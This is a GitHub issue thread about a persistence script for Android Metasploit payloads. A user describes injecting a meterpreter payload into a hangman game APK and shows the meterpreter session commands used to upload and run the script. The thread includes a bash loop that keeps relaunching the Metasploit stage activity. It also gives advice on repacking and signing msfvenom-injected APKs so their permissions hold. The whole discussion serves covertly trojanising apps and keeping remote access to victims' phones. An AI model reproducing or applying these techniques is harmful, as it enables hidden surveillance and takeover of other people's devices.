Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

session terminates when app is closed #3

Open
karpiyon opened this issue Mar 7, 2022 · 2 comments
Open

session terminates when app is closed #3

karpiyon opened this issue Mar 7, 2022 · 2 comments

Comments

@karpiyon
Copy link

karpiyon commented Mar 7, 2022

I managed to run your script, had to use apktool instead of "./Tools/apktool.jar"
When I run the app I get a session.
I do:

cd /
cd sdcard
upload PersistanceScript.sh

shell
sh PersistanceScript.sh
CRTL +C 

However, after i close the app my session dies.

meterpreter > shell
Process 1 created.
Channel 2 created.
sh ./PersistenceScript.sh
Starting service: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=by.dustteam.hangman/.vkcbc.Zxdrv }
Starting service: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=by.dustteam.hangman/.vkcbc.Zxdrv }
@rohitnishad613
Copy link
Owner

rohitnishad613 commented Mar 7, 2022 via email

@karpiyon
Copy link
Author

karpiyon commented Mar 7, 2022

there is a bug/fault in recent mesfvenom injection method, or perhaps this is in teh apktool.
In any case the problem is that the new injected permissions are not respected when you install the new app with the payload.

To overcome this you need to unpack the injected apk, modify it's apktool.yml, pack and sign.

Do you know how to use this script when you inject a payload manually?

#!/bin/bash
while true
	do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
	sleep 20
done

It only works for a "stand alone" payload but when I add it myself, without obfuscating, it does not.
I use this method:

https://null-byte.wonderhowto.com/how-to/embed-metasploit-payload-original-apk-file-part-2-do-manually-0167124/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants